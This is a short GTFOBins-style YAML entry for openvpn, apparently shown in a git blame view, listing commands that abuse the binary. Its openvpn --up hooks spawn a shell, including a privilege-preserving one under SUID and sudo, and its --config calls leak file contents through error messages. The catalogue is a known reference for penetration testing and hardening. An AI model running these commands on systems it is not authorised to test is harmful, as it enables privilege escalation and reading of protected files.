2021-02-20 00:33:43 +01:00
|
|
|
---
|
|
|
|
functions:
|
2021-02-20 00:55:31 +01:00
|
|
|
shell:
|
|
|
|
- code: |
|
|
|
|
openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
|
2021-02-20 00:52:04 +01:00
|
|
|
file-read:
|
|
|
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
|
|
|
code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
openvpn --config "$LFILE"
|
2021-02-20 00:33:43 +01:00
|
|
|
suid:
|
|
|
|
- code: |
|
2021-02-20 00:55:31 +01:00
|
|
|
./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'
|
2021-02-20 00:52:04 +01:00
|
|
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
|
|
|
code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
./openvpn --config "$LFILE"
|
2021-02-20 00:33:43 +01:00
|
|
|
sudo:
|
|
|
|
- code: |
|
2021-02-20 00:55:31 +01:00
|
|
|
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
|
2021-02-20 00:52:04 +01:00
|
|
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
|
|
|
code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
sudo openvpn --config "$LFILE"
|
2021-02-20 00:33:43 +01:00
|
|
|
---
|